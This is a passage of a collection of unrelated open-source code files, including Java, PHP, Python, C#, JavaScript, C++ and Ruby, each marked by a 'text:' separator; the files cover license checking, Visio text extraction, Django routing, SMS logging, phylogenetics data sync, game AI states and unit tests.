    }

    public static TownClient getTownByID(int dimension, int id) {
        return getTownMap(dimension).get(id);
    }

    public static void addTown(int dimension, TownClient town) {
        getTownMap(dimension).put(town.getID(), town);
    }
}


text:
<?php
class Test extends CI_Controller{
	public function __construct()
	{
		parent::__construct();

		$this->load->helper(array('form', 'url'));
		$this->load->library('form_validation');
		//$this->load->library('security');
		$this->load->library('tank_auth');
		$this->lang->load('tank_auth');
	}

	public function index(){

		$this->load->view('testing');

	}
}


text:
"""
check_license.py [MODULE]

Check the presence of a LICENSE.txt in the installed module directory,
and that it appears to contain text prevalent for a NumPy binary
distribution.

"""
import os
import sys
import io
import re
import argparse

def check_text(text):
    ok = "Copyright (c)" in text and re.search(
        r"This binary distribution of \w+ also bundles the following software",
        text,
    )
    return ok

def main():
    p = argparse.ArgumentParser(usage=__doc__.rstrip())
    p.add_argument("module", nargs="?", default="numpy")
    args = p.parse_args()

    # Drop '' from sys.path
    sys.path.pop(0)

    # Find module path
    __import__(args.module)
    mod = sys.modules[args.module]

    # Check license text
    license_txt = os.path.join(os.path.dirname(mod.__file__), "LICENSE.txt")
    with io.open(license_txt, "r", encoding="utf-8") as f:
        text = f.read()

    ok = check_text(text)
    if not ok:
        print(
            "ERROR: License text {} does not contain expected "
            "text fragments\n".format(license_txt)
        )
        print(text)
        sys.exit(1)

    sys.exit(0)

if __name__ == "__main__":
    main()


text:
package org.apache.poi.hdgf.extractor;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;

import org.apache.poi.POIOLE2TextExtractor;
import org.apache.poi.hdgf.HDGFDiagram;
import org.apache.poi.hdgf.chunks.Chunk;
import org.apache.poi.hdgf.chunks.Chunk.Command;
import org.apache.poi.hdgf.streams.ChunkStream;
import org.apache.poi.hdgf.streams.PointerContainingStream;
import org.apache.poi.hdgf.streams.Stream;
import org.apache.poi.poifs.filesystem.DirectoryNode;
import org.apache.poi.poifs.filesystem.POIFSFileSystem;

/**
 * Class to find all the text in a Visio file, and return it.
 * Can opperate on the command line (outputs to stdout), or
 *  can return the text for you (eg for use with Lucene).
 */
public final class VisioTextExtractor extends POIOLE2TextExtractor {
	private HDGFDiagram hdgf;
	private POIFSFileSystem fs;

	public VisioTextExtractor(HDGFDiagram hdgf) {
		super(hdgf);
		this.hdgf = hdgf;
	}
	public VisioTextExtractor(POIFSFileSystem fs) throws IOException {
		this(fs.getRoot(), fs);
	}
	public VisioTextExtractor(DirectoryNode dir, POIFSFileSystem fs) throws IOException {
		this(new HDGFDiagram(dir, fs));
		this.fs = fs;
	}
	public VisioTextExtractor(InputStream inp) throws IOException {
		this(new POIFSFileSystem(inp));
	}

	/**
	 * Locates all the text entries in the file, and returns their
	 *  contents.
	 */
	public String[] getAllText() {
		ArrayList text = new ArrayList();
		for(int i=0; i<hdgf.getTopLevelStreams().length; i++) {
			findText(hdgf.getTopLevelStreams()[i], text);
		}
		return (String[])text.toArray( new String[text.size()] );
	}
	private void findText(Stream stream, ArrayList text) {
		if(stream instanceof PointerContainingStream) {
			PointerContainingStream ps = (PointerContainingStream)stream;
			for(int i=0; i<ps.getPointedToStreams().length; i++) {
				findText(ps.getPointedToStreams()[i], text);
			}
		}
		if(stream instanceof ChunkStream) {
			ChunkStream cs = (ChunkStream)stream;
			for(int i=0; i<cs.getChunks().length; i++) {
				Chunk chunk = cs.getChunks()[i];
				if(chunk != null &&
						chunk.getName() != null &&
						chunk.getName().equals("Text") &&
						chunk.getCommands().length > 0) {
					// First command
					Command cmd = chunk.getCommands()[0];
					if(cmd != null && cmd.getValue() != null) {
						text.add( cmd.getValue().toString() );
					}
				}
			}
		}
	}

	/**
	 * Returns the textual contents of the file.
	 * Each textual object's text will be separated
	 *  by a newline
	 */
	public String getText() {
		StringBuffer text = new StringBuffer();
		String[] allText = getAllText();
		for(int i=0; i<allText.length; i++) {
			text.append(allText[i]);
			if(!allText[i].endsWith("\r") &&
					!allText[i].endsWith("\n")) {
				text.append("\n");
			}
		}
		return text.toString();
	}

	public static void main(String[] args) throws Exception {
		if(args.length == 0) {
			System.err.println("Use:");
			System.err.println("   VisioTextExtractor <file.vsd>");
			System.exit(1);
		}

		VisioTextExtractor extractor =
			new VisioTextExtractor(new FileInputStream(args[0]));

		// Print not PrintLn as already has \n added to it
		System.out.print(extractor.getText());
	}
}


text:
from django.conf.urls.defaults import *
from django.contrib import admin
from django.conf import settings

admin.autodiscover()
#handler500 = 'djangotoolbox.errorviews.server_error'

urlpatterns = patterns('',
    url(r'^media/(?P<path>.*)$', 'django.views.static.serve',{ 'document_root' : settings.MEDIA_ROOT }),
    url(r'^_ah/warmup$', 'djangoappengine.views.warmup'),
    url(r'^admin/', include(admin.site.urls)),
    url(r'^accounts/login/$', 'django.contrib.auth.views.login'),
    url(r'^accounts/logout/$', 'django.contrib.auth.views.logout',{'next_page': '/accounts/login/'}),
    url(r'^$', 'core.views.homepage', {'template': 'home.html'},  name='home_page'),
    url(r'^bazar/$', 'core.views.add_edit_bazar', name='bazar_add'),
    url(r'^bazar/(?P<id>\d+)/$','core.views.add_edit_bazar', name='bazar_edit'),
    url(r'^meal/$', 'core.views.add_edit_meal', name='meal_add'),
    url(r'^meal/(?P<id>\d+)/$', 'core.views.add_edit_meal', name='meal_edit'),
)


text:
using System;

namespace Shuttle.Esb
{
    public class OutboxOptions : ProcessorOptions
    {
        public OutboxOptions()
        {
            ThreadCount = 1;
        }
    }
}


text:
import {combineReducers} from 'redux'
import {routerReducer} from 'react-router-redux'

// import error from './error'

// import Telescope from '../lib/en_US'
// const messages = Telescope.strings['en'] || {}

import {loadTranslations, setLocale, syncTranslationWithStore, i18nReducer} from 'react-redux-i18n';
import Translations from '../lib/Translations'

const rootReducer = combineReducers({
  i18n: i18nReducer,
  routing: routerReducer,
  detailedModelsOverlay: require('./detailedModelsOverlay').default,
  user: require('./user').default,
  editModel: require('./editModel/editModelReducer').default,
  userProfileTask: require('./userProfile').default,
  auth: require('./auth/authReducer').default,
  listContainerTasks: require('./listContainerReducer').default,
  appAlert: require('./alert').default,
})

export default rootReducer


text:
package no.priv.bang.ukelonn.beans;

public class PasswordsWithUser {

    private User user;
    private String password;
    private String password2;

    private PasswordsWithUser() {}

    public User getUser() {
        return user;
    }

    public void setUser(User user) {
        this.user = user;
    }

    public String getPassword() {
        return password;
    }

    public String getPassword2() {
        return password2;
    }

    public static PasswordsWithUserBuilder with() {
        return new PasswordsWithUserBuilder();
    }

    public static class PasswordsWithUserBuilder {
        private User user;
        private String password;
        private String password2;

        private PasswordsWithUserBuilder() {}

        public PasswordsWithUser build() {
            PasswordsWithUser passwords = new PasswordsWithUser();
            passwords.user = this.user;
            passwords.password = this.password;
            passwords.password2 = this.password2;
            return passwords;
        }

        public PasswordsWithUserBuilder user(User user) {
            this.user = user;
            return this;
        }

        public PasswordsWithUserBuilder password(String password) {
            this.password = password;
            return this;
        }

        public PasswordsWithUserBuilder password2(String password2) {
            this.password2 = password2;
            return this;
        }
    }

}


text:
[Twilight SPARQL, the SPARQL Dashboard](https://thibaudcolas.github.io/twilight-sparql)
============

> Twilight SPARQL — the SPARQL Dashboard

## Tooling

```sh
npm install
npm start
```

## License

Copyright 2016 Thibaud Colas


text: """The llamalab_automate component."""


text:
This project requires the ChromeDriver to be set up locally.

1.  Install 7-zip
2.  Download proper ChromeDriver version for your machine from http://chromedriver.storage.googleapis.com/[x.xx]/chromedriver_win32.zip.
3.  Extract the file (chromedriver.exe) and place in a folder that is on your path.  (Recommend:  C:\tools\WebDriver)

## Example Powershell for Downloading

$zipPath = "$env:USERPROFILE\chromedriver_win32.zip"
(New-Object Net.WebClient).DownloadFile('http://chromedriver.storage.googleapis.com/2.24/chromedriver_win32.zip', $zipPath)
.\7z.exe x $zipPath -oC:\Tools\WebDriver -aoa


text:
package eu.bcvsolutions.idm.core.notification.service.impl;

import java.util.ArrayList;
import java.util.List;
import java.util.UUID;

import org.springframework.util.Assert;
import org.springframework.util.StringUtils;

import eu.bcvsolutions.idm.core.api.dto.IdmIdentityDto;
import eu.bcvsolutions.idm.core.api.service.IdmIdentityService;
import eu.bcvsolutions.idm.core.notification.api.dto.IdmNotificationDto;
import eu.bcvsolutions.idm.core.notification.api.dto.IdmNotificationRecipientDto;
import eu.bcvsolutions.idm.core.notification.api.dto.IdmSmsLogDto;
import eu.bcvsolutions.idm.core.notification.api.service.IdmSmsLogService;
import eu.bcvsolutions.idm.core.notification.entity.IdmSmsLog;

/**
 * This class exists just to provide basic functionality connected to sending sms notifications
 * such as saving SmsNotificationLog. Each concrete implementation of this class must override method sendSms
 * which does actual sending of the sms.
 *
 * @author Peter Sourek
 */
public abstract class AbstractSmsNotificationSender extends AbstractNotificationSender<IdmSmsLogDto>{

    private final IdmSmsLogService idmSmsLogService;

    private final IdmIdentityService identityService;

    public AbstractSmsNotificationSender(IdmSmsLogService idmSmsLogService, IdmIdentityService identityService) {
        Assert.notNull(idmSmsLogService, "Service is required.");
        Assert.notNull(identityService, "Service is required.");
        //
        this.idmSmsLogService = idmSmsLogService;
        this.identityService = identityService;
    }

    @Override
    public String getType() {
        return IdmSmsLog.NOTIFICATION_TYPE;
    }

    @Override
    public IdmSmsLogDto send(final IdmNotificationDto notification) {
        Assert.notNull(notification, "Notification is required!");
        List<IdmSmsLogDto> results = sendSms(notification);
        return createLogAndSave(merge(results));
    }

    private IdmSmsLogDto createLogAndSave(IdmNotificationDto notification) {
        final IdmSmsLogDto smsLogDto = createLog(notification);
        return idmSmsLogService.save(smsLogDto);
    }

    // TODO: Remove once partially sent notifications are implemented.
    /**
     *
     * This method is here only until partially sent notifications are implemented.
     * It is basically a workaround for merging all sent notifications (one for each recipient)
     * to one.
     *
     * If one of the given notifications is not sent ({@link IdmSmsLogDto#getSent()} returns null), then returned
     * notification will also be marked as not sent. If all notifications have attribute sent set, then result notification
     * log will have the smallest value of them all. The method also concatenates sent logs.
     *
     * All notifications should have same attributes, except for recipient and sent. This method does no check for this att all,
     * so it is solely on programmer to make sure that all notifications are the same.
     *
     * All recipients will be merged into one.
     *
     * @param smsLogs {@link IdmSmsLogDto} instances to be merged into one
     * @return Merged {@link IdmSmsLogDto} or null if no notifications were passed into method
     */
    protected IdmSmsLogDto merge(List<IdmSmsLogDto> smsLogs) {
        if (smsLogs == null || smsLogs.isEmpty()) {
            return null;
        }

        final IdmSmsLogDto result = createLog(smsLogs.get(0));
        // clear recipients so the first one is not present twice
        result.setRecipients(new ArrayList<>());

        for (IdmSmsLogDto log : smsLogs) {
            result.getRecipients().addAll(log.getRecipients());
            result.setSent(result.getSent() == null ? null : log.getSent());
            // Set message
            if (!StringUtils.isEmpty(log.getSentLog())) {
                result.setSentLog(result.getSentLog() == null ? (result.getSentLog() + " | ") : "" + log.getSentLog());
            }
        }

        return result;
    }

    protected IdmSmsLogDto createLog(IdmNotificationDto notification) {
        Assert.notNull(notification, "Notification is required.");
        Assert.notNull(notification.getMessage(), "Message is required.");
        //
        IdmSmsLogDto smsLogDto = new IdmSmsLogDto();
        // parent message
        UUID parent = notification.getParent(); // parent from merged sms log
        if (parent != null) {
        	smsLogDto.setParent(notification.getParent());
        } else if (notification.getId() != null) { // or parent as notification log
            smsLogDto.setParent(notification.getId());
        }
        smsLogDto.setTopic(notification.getTopic());
        // clone message
        smsLogDto.setMessage(cloneMessage(notification));
        // clone recipients - resolve real email
        notification.getRecipients().forEach(recipient ->
            smsLogDto.getRecipients().add(cloneRecipient(smsLogDto, recipient,
	            getSmsNumber(recipient))));
        smsLogDto.setIdentitySender(notification.getIdentitySender());
        smsLogDto.setSent(notification.getSent());
        smsLogDto.setSentLog(notification.getSentLog());
        return smsLogDto;
    }

    /**
     * Resolve phone number from given identity.
     *
     * TODO: move to IdmSmsLogService
     *
     * @see DefaultIdmEmailLogService#getEmailAddress
     * @param recipient
     * @return
     */
    public String getSmsNumber(IdmNotificationRecipientDto recipient) {
        final IdmIdentityDto identityDto = identityService.get(recipient.getIdentityRecipient());
        if (identityDto == null) {
            return null;
        }
        return identityDto.getPhone();
    }

    public abstract List<IdmSmsLogDto> sendSms(IdmNotificationDto notification);

}


text:
package com.openvcx.util;

import java.io.PrintWriter;
import java.io.StringWriter;
import org.apache.log4j.Logger;

/**
 *
 * Utility class to provide exception logging in a unified syntax
 *
 */
public class LogUtil {

    /**
     * formats and prints an exception in a unified syntax
     * @param log A class logger instance used to print the error
     * @param description A string description of the error condition
     * @param e The exception to be logged
     */
    public static void printError(Logger log, String description, Exception e) {
        log.error(description + e);
        StringWriter strWriter = new StringWriter();
        e.printStackTrace(new PrintWriter(strWriter));
        log.debug(description + strWriter.toString());
    }

}


text:
from peyotl.phylografter.nexson_workaround import workaround_phylografter_nexson
from peyotl.utility.input_output import open_for_group_write, read_as_json
from peyotl.utility import get_logger
import datetime
import codecs
import copy
import json
import time
import os

_LOG = get_logger(__name__)

def get_processing_paths_from_prefix(pref,
                                     nexson_dir='.',
                                     nexson_state_db=None):
    d = {'nexson': os.path.abspath(os.path.join(nexson_dir, 'study', pref + '.json')),
         'nexson_state_db': nexson_state_db,
         'study': pref,
        }
    assert nexson_state_db is not None
    return d

def get_previous_set_of_dirty_nexsons(dir_dict):
    '''Returns the previous list of studies to be fetch and dict that contains that list and timestamps.
    The dict will be populated from the filepath `dir_dict['nexson_state_db']` if that entry is not
    found then a default dict of no studies and old timestamps will be returned.
    '''
    filename = dir_dict['nexson_state_db']
    if os.path.exists(filename):
        old = json.load(codecs.open(filename, 'r', encoding='utf-8'))
        if 'to_download_from_pg' in old:
            old['to_download_from_pg'] = set(old['to_download_from_pg'])
        if 'to_upload_to_phylesystem' in old:
            old['to_upload_to_phylesystem'] = set(old['to_upload_to_phylesystem'])
    else:
        assert False
        old = {'from': '2010-01-01T00:00:00',
               'to': datetime.datetime.now(),
               'to_download_from_pg': [],
               'to_upload_to_phylesystem': [],
              }
    return set(old['to_download_from_pg']), old

def store_state_JSON(s, fp):
    tmpfilename = fp + '.tmpfile'
    sc = copy.deepcopy(s)
    sc['to_download_from_pg'] = list(s.get('to_download_from_pg', []))
    sc['to_download_from_pg'].sort()
    sc['to_upload_to_phylesystem'] = list(s.get('to_upload_to_phylesystem', []))
    sc['to_upload_to_phylesystem'].sort()
    td = open_for_group_write(tmpfilename, 'w')
    try:
        json.dump(sc, td, sort_keys=True, indent=0)
    finally:
        td.close()
    os.rename(tmpfilename, fp) #atomic on POSIX

class PhylografterNexsonDocStoreSync(object):
    def __init__(self,
                 cfg_file_paths,
                 lock_policy=None,
                 api_wrapper=None,
                 sleep_between_downloads=None):
        '''Configures an object for controlling the
        synchronization between phylografter and the NexSON Document Store API.

        `cfg_file_paths` should be a dict with:
            'nexson_dir': directory that will be the parent of the nexson files
             'nexson_state_db': a JSON file to hold the state of the phylografter <-> API interaction
        `to_download` can be a list of study IDs (if the state is not to be preserved). If this call
            uses the history in `cfg_file_paths['nexson_state_db']` then this should be None.
        `lock_policy` can usually be None, it specifies how the nexson_state_db is to be locked for thread safety
        `api_wrapper` will be the default APIWrapper() if None
        `sleep_between_downloads` is the number of seconds to sleep between calls (to avoid stressing phylografter.)

        env vars:
            SLEEP_BETWEEN_DOWNLOADS_TIME, SLEEP_FOR_LOCK_TIME, and MAX_NUM_SLEEP_IN_WAITING_FOR_LOCK are checked
            if lock_policy and sleep_between_downloads
        '''
        self._cfg = cfg_file_paths
        if api_wrapper is None:
            from peyotl.api import APIWrapper
            api_wrapper = APIWrapper(phylesystem_api_kwargs={'get_from':'api'})
        self.phylografter = api_wrapper.phylografter
        self.phylesystem_api = api_wrapper.phylesystem_api
        if sleep_between_downloads is None:
            sleep_between_downloads = float(os.environ.get('SLEEP_BETWEEN_DOWNLOADS_TIME', 0.5))
        self.sleep_between_downloads = sleep_between_downloads
        if lock_policy is None:
            from peyotl.utility.simple_file_lock import LockPolicy
            lock_policy = LockPolicy(sleep_time=float(os.environ.get('SLEEP_FOR_LOCK_TIME', 0.05)),
                                     max_num_sleep=int(os.environ.get('MAX_NUM_SLEEP_IN_WAITING_FOR_LOCK', 100)))
        self.lock_policy = lock_policy
        self.log = {}
    def _reset_log(self):
        self.log = {
            'pull_from_phylografter_failed': [],
            'PUT_to_docstore_failed': [],
            'POST_to_docstore_failed': [],
        }
    def _failed_study(self, study, err_key):
        self.log.setdefault(err_key, []).append(study)
        _LOG.debug('{} for study {}'.format(err_key, str(study)))

    def _add_study_to_download_list(self, study, paths):
        if self.download_db is not None:
            self.download_db.setdefault('to_download_from_pg', set()).add(str(study))
            store_state_JSON(self.download_db, paths['nexson_state_db'])
    def _add_study_to_push_list(self, study, paths):
        if self.download_db is not None:
            self.download_db.setdefault('to_upload_to_phylesystem', set()).add(str(study))
            store_state_JSON(self.download_db, paths['nexson_state_db'])
    def _remove_study_from_download_list(self, study, paths):
        if self.download_db is not None:
            try:
                self.download_db.setdefault('to_download_from_pg', set()).remove(str(study))
            except:
                pass
            else:
                store_state_JSON(self.download_db, paths['nexson_state_db'])
    def _remove_study_from_push_list(self, study, paths):
        if self.download_db is not None:
            try:
                self.download_db.setdefault('to_upload_to_phylesystem', set()).remove(str(study))
            except:
                pass
            else:
                store_state_JSON(self.download_db, paths['nexson_state_db'])
    def _get_to_push_list(self):
        if self.download_db is None:
            return []
        return list(self.download_db.setdefault('to_upload_to_phylesystem', set()))
    def find_parent_sha_for_phylografter_nexson(self, study_id, nexson):
        parent_commit_sha = nexson.get('phylesystem_commit_sha')
        if parent_commit_sha is None:
            # as a workaround for phylografter not storing the SHA....
            if self.download_db is not None:
                parent_commit_sha = self.download_db.get('study2sha', {}).get(study_id)
        if parent_commit_sha is None:
            if self.download_db is not None:
                parent_commit_sha = self.download_db.get('default_sha')
        return parent_commit_sha
    def run(self, to_download=None):
        '''Returns the # of studies updated from phylografter to the "NexSON API"

        `to_download` can be a list of study IDs (if the state is not to be preserved). If this call
            uses the history in `cfg_file_paths['nexson_state_db']` then this should be None.
        '''
        self._reset_log()
        if to_download is None:
            to_download, self.download_db = self.get_list_of_phylografter_dirty_nexsons()
        else:
            self.download_db = None
        num_downloaded = len(to_download)
        studies_with_final_sha = set()
        unmerged_study_to_sha = {}
        last_merged_sha = None
        phylografter = self.phylografter
        first_download = True
        self.phylesystem_api_studies = set(self.phylesystem_api.study_list)
        try:
            while len(to_download) > 0:
                if not first_download:
                    time.sleep(self.sleep_between_downloads)
                first_download = False
                n = to_download.pop(0)
                study = str(n)
                paths = get_processing_paths_from_prefix(study, **self._cfg)
                nexson = self.download_nexson_from_phylografter(paths, phylografter)
                if nexson is None:
                    self._failed_study(study, 'pull_from_phylografter_failed')
                    continue
                self._add_study_to_push_list(study, paths)
                self._remove_study_from_download_list(study, paths)
                last_merged_sha = self._do_push_to_phylesystem(study,
                                                               nexson,
                                                               paths,
                                                               unmerged_study_to_sha,
                                                               studies_with_final_sha,
                                                               last_merged_sha)
            tpl = self._get_to_push_list()
            tpl.sort()
            while len(tpl) > 0:
                study = tpl.pop()
                paths = get_processing_paths_from_prefix(study, **self._cfg)
                nexson = self._read_cached_or_refetch(paths, phylografter)
                last_merged_sha = self._do_push_to_phylesystem(study,
                                                               nexson,
                                                               paths,
                                                               unmerged_study_to_sha,
                                                               studies_with_final_sha,
                                                               last_merged_sha)
        finally:
            state_db = self._get_nexson_state_db_fp()
            self.record_sha_for_study(studies_with_final_sha,
                                      unmerged_study_to_sha,
                                      last_merged_sha,
                                      state_db)
        return num_downloaded
    def _get_nexson_state_db_fp(self):
        paths = get_processing_paths_from_prefix('9', **self._cfg)
        return paths['nexson_state_db']
    def _save_state(self):
        if self.download_db is not None:
            store_state_JSON(self.download_db, self._get_nexson_state_db_fp())

    def _do_push_to_phylesystem(self,
                                study,
                                nexson,
                                paths,
                                unmerged_study_to_sha,
                                studies_with_final_sha,
                                last_merged_sha):
        namespaced_id = 'pg_{s}'.format(s=study)
        parent_sha = self.find_parent_sha_for_phylografter_nexson(study, nexson)
        # correct any disagreements between phylografter and what the peyotl
        #   validator expects...
        workaround_phylografter_nexson(nexson)
        if namespaced_id in self.phylesystem_api_studies:
            put_response = self.phylesystem_api.put_study(study_id=namespaced_id,
                                                          nexson=nexson,
                                                          starting_commit_sha=parent_sha,
                                                          commit_msg='Sync from phylografter')
            ds_verb = 'PUT'
        else:
            put_response = self.phylesystem_api.post_study(nexson=nexson,
                                                           study_id=namespaced_id,
                                                           commit_msg='Sync from phylografter')
            ds_verb = 'POST'
        if put_response['error'] != 0:
            self._failed_study(study, '{}_to_docstore_failed'.format(ds_verb))
            _LOG.debug('phylesystem_api error response = ' + str(put_response))
        else:
            if put_response['merge_needed']:
                _LOG.debug('study {s} was not merged to master'.format(s=study))
                unmerged_study_to_sha[study] = put_response['sha']
            else:
                studies_with_final_sha.add(study)
                last_merged_sha = put_response['sha']
            self._remove_study_from_push_list(study, paths)
        return last_merged_sha
    def get_list_of_phylografter_dirty_nexsons(self):
        '''Returns a pair: the list of studies that need to be fetched from phylografter
        and a dict that can be serialized to disk in .sync_status.json to cache the details
        of the last call to phylografter's study/modified_list service.

        If PHYLOGRAFTER_DOMAIN_PREF is in the env, it will provide the domain the default
            is the main phylografter site.
        '''
        dir_dict, phylografter = self._cfg, self.phylografter
        filename = dir_dict['nexson_state_db']
        old_set, old = get_previous_set_of_dirty_nexsons(dir_dict)
        new_resp = phylografter.get_modified_list(old['to'], list_only=False)
        ss = set([str(i) for i in new_resp['studies']])
        ss.update(old_set)
        old['to_download_from_pg'] = ss
        old['to'] = new_resp['to']
        store_state_JSON(old, filename)
        to_refresh = list(old['to_download_from_pg'])
        to_refresh.sort()
        return to_refresh, old

    def _read_cached_or_refetch(self, paths, phylografter):
        lock_policy = self.lock_policy
        nexson_path = paths['nexson']
        lockfile = nexson_path + '.lock'
        owns_lock = lock_policy.wait_for_lock(lockfile)[1]
        nexson = None
        try:
            if os.path.exists(nexson_path):
                nexson = read_as_json(nexson_path)
        finally:
            if owns_lock:
                lock_policy.remove_lock()
        if nexson is None:
            return self.download_nexson_from_phylografter(paths, phylografter)
        return nexson

    def download_nexson_from_phylografter(self, paths, phylografter):
        download_db, lock_policy = self.download_db, self.lock_policy
        nexson_path = paths['nexson']
        lockfile = nexson_path + '.lock'
        owns_lock = lock_policy.wait_for_lock(lockfile)[1]
        try:
            if not owns_lock:
                return None
            study = paths['study']
            er = phylografter.fetch_study(study)
            should_write = False
            if not os.path.exists(nexson_path):
                should_write = True
            else:
                prev_content = json.load(codecs.open(nexson_path, 'r', encoding='utf-8'))
                if prev_content != er:
                    should_write = True
            if should_write:
                store_state_JSON(er, nexson_path)
            if download_db is not None:
                try:
                    download_db['to_download_from_pg'].remove(str(study))
                except:
                    _LOG.warn('%s not in %s', repr(study), paths['nexson_state_db'])
                else:
                    store_state_JSON(download_db, paths['nexson_state_db'])
        finally:
            lock_policy.remove_lock()
        return er

    def record_sha_for_study(self,
                             merged_studies,
                             unmerged_study_to_sha,
                             last_merged_sha,
                             state_db):
        '''So that the edit history of a file is accurate, we need to store the new parent SHA for any
        future updates. For studies that merged to master, this will be the last_merged_sha.
        Other studies should be in the unmerged_study_to_sha dict
        '''
        if self.download_db is None:
            return
        _EMPTY_DICT = {}
        for study_id in merged_studies:
            self.download_db.setdefault('study2sha', _EMPTY_DICT)[study_id] = last_merged_sha
        if unmerged_study_to_sha:
            self.download_db.setdefault('study2sha', _EMPTY_DICT).update(unmerged_study_to_sha)
        store_state_JSON(self.download_db, state_db)


text:
package org.apache.uima.cas.impl;

import org.apache.uima.cas.Type;
import org.apache.uima.cas.TypeNameSpace;
import org.apache.uima.cas.TypeSystem;

/**
 * @see org.apache.uima.cas.TypeNameSpace
 */
public class TypeNameSpaceImpl implements TypeNameSpace {

  private String name;

  private TypeSystemImpl ts;

  TypeNameSpaceImpl(String name, TypeSystemImpl ts) {
    this.name = name;
    this.ts = ts;
  }

  /**
   * @see org.apache.uima.cas.TypeNameSpace#getType(java.lang.String)
   */
  @Override
  public Type getType(String typeName) {
    return this.ts.getType(this.name + TypeSystem.NAMESPACE_SEPARATOR + typeName);
  }

}


text:
void URunAwayState::EnterState()
{
	//LOG("Enter RunAwayState");
    TimeSinceLastFarthestWaypointCalc = 0.0f;
}

void URunAwayState::ExitState()
{
	//LOG("Exit RunAwayState");
}

void URunAwayState::UpdateState(float DeltaSeconds){

	//TODO Check if machine is visible
	//If not visible, switch to Hide

	//Run away
    //LOG("We are running away!");
    if(this->StateMachine != nullptr && this->StateMachine->OwningController != nullptr) {
        APawn* PawnCheck = this->StateMachine->OwningController->GetPawn();
        if(PawnCheck != nullptr) {
            APersonCharacter* Pawn = CastChecked<APersonCharacter>(PawnCheck);
            if(Pawn != nullptr) {
                if(!Pawn->CanSeeMachine()) {
                    //LOG("We can no longer see the machine, time to hide!");
                    this->StateMachine->SwitchState(EFSMState::EFSM_Hide);
                    return;
                }
            }
        }

        if(TimeSinceLastFarthestWaypointCalc > 5.0f) {
            TimeSinceLastFarthestWaypointCalc = 0.0f;

            AWaypoint* FarthestWaypoint = this->StateMachine->OwningController->ClosestPlayerController->CalculateFarthestWaypoint();

            if(FarthestWaypoint != nullptr) {
                TArray<AWaypoint*> Path = this->StateMachine->OwningController->CalculatePathToTargetWaypoint(FarthestWaypoint);
                if(PawnCheck != nullptr) {
                    APersonCharacter* Pawn = CastChecked<APersonCharacter>(PawnCheck);
                    if(Pawn != nullptr) {
                        //Pawn->TargetLocation = FarthestWaypoint->GetActorLocation();
                        this->StateMachine->OwningController->CurrentPath = Path;
                    }
                }
            }
        } else {
            TimeSinceLastFarthestWaypointCalc += DeltaSeconds;
        }
    }

}


text:
describe('key extractors', function() {
  beforeEach(function() {
    this.defaultExtractor = Backbone.Syphon.KeyExtractors.get();
  });

  describe('when registering a global key extractor', function() {
    beforeEach(function() {
      this.View = Backbone.View.extend({
        render: function() {
          this.$el.html(
              '<form>' +
              '<input>' +
              '</form>'
          );
        }
      });

      Backbone.Syphon.KeyExtractors.registerDefault(function() {
        return 'foo';
      });

      this.view = new this.View();
      this.view.render();

      this.result = Backbone.Syphon.serialize(this.view);
    });

    afterEach(function() {
      Backbone.Syphon.KeyExtractors.registerDefault(this.defaultExtractor);
    });

    it('should return an object that has a key produced by the key extractor', function() {
      expect(this.result).to.have.ownProperty('foo');
    });
  });

  describe('when registering a key extractor for a specific input type', function() {
    beforeEach(function() {
      this.View = Backbone.View.extend({
        render: function() {
          this.$el.html(
              '<form>' +
              '<input>' +
              '<input type="checkbox" name="chk">' +
              '</form>'
          );
        }
      });

      Backbone.Syphon.KeyExtractors.register('text', function() {
        return 'foo';
      });

      this.view = new this.View();
      this.view.render();

      this.result = Backbone.Syphon.serialize(this.view);
    });

    afterEach(function() {
      Backbone.Syphon.KeyExtractors.unregister('text');
    });

    it('should use the specific extractor for inputs of that type', function() {
      expect(this.result).to.have.ownProperty('foo');
    });

    it('should use the default extractor for other input types', function() {
      expect(this.result).to.have.ownProperty('chk');
    });
  });

  describe('when specifying key extractor in the options for serialize', function() {
    beforeEach(function() {
      this.View = Backbone.View.extend({
        render: function() {
          this.$el.html(
              '<form>' +
              '<input data-stuff="bar">' +
              '</form>'
          );
        }
      });

      this.extractors = new Backbone.Syphon.KeyExtractorSet();
      this.extractors.registerDefault(function($el) {
        return $el.data('stuff');
      });

      this.view = new this.View();
      this.view.render();

      this.result = Backbone.Syphon.serialize(this.view, {
        keyExtractors: this.extractors
      });
    });

    it('should use the specified key extractors', function() {
      expect(this.result).to.have.ownProperty('bar');
    });
  });
});


text:
require File.expand_path("../../../../base", __FILE__)

describe Vagrant::Action::Builtin::CloudInitSetup do
  let(:app) { lambda { |env| } }
  let(:vm) { double("vm", disk: disk, disks: disks) }
  let(:disk) { double("disk") }
  let(:disks) { double("disk") }
  let(:config) { double("config", vm: vm) }
  let(:provider) { double("provider") }
  let(:machine) { double("machine", config: config, provider: provider, name: "machine",
                         provider_name: "provider", data_dir: Pathname.new("/fake/dir"),
                         ui: ui, env: machine_env, id: "123-456-789") }
  let(:host) { double("host") }
  let(:machine_env) { double("machine_env", root_path: "root", host: host) }
  let(:env) { { ui: ui, machine: machine, env: machine_env} }

  let(:ui)  { double("ui", info: true, warn: true) }

  let(:cfg) { double("cfg", type: :user_data, content_type: "text/cloud-config",
                     path: "my/path", inline: nil) }
  let(:cfg_inline) { double("cfg", type: :user_data, content_type: "text/cloud-config",
                     inline: "data: true", path: nil) }
  let(:cloud_init_configs) { [cfg, cfg_inline] }

  let(:text_cfgs) { [MIME::Text.new("data: true", "cloud-config"),
                     MIME::Text.new("data: false", "cloud-config") ] }

  let(:meta_data) { { "instance-id" => "i-123456789" } }

  let(:subject) { described_class.new(app, env) }

  describe "#call" do
    it "calls setup_user_data if cloud_init config present" do
      allow(vm).to receive(:cloud_init_configs).and_return(cloud_init_configs)

      expect(app).to receive(:call).with(env).ordered

      expect(subject).to receive(:setup_user_data).and_return(true)
      expect(subject).to receive(:write_cfg_iso).and_return(true)

      subject.call(env)
    end

    it "continues on if no cloud_init config present" do
      allow(vm).to receive(:cloud_init_configs).and_return([])

      expect(app).to receive(:call).with(env).ordered

      expect(subject).not_to receive(:setup_user_data)
      expect(subject).not_to receive(:write_cfg_iso)
      expect(subject).not_to receive(:attack_disk_config)

      subject.call(env)
    end
  end

  describe "#setup_user_data" do
    it "builds a MIME message and prepares a disc to be attached" do
      expect(subject).to receive(:read_text_cfg).twice

      expect(subject).to receive(:generate_cfg_msg)

      subject.setup_user_data(machine, env, cloud_init_configs)
    end
  end

  describe "#read_text_cfg" do
    let(:cfg_text) { "config: true" }

    it "takes a text cfg path and saves it as a MIME text message" do
      allow(File).to receive(:read).and_return(cfg_text)

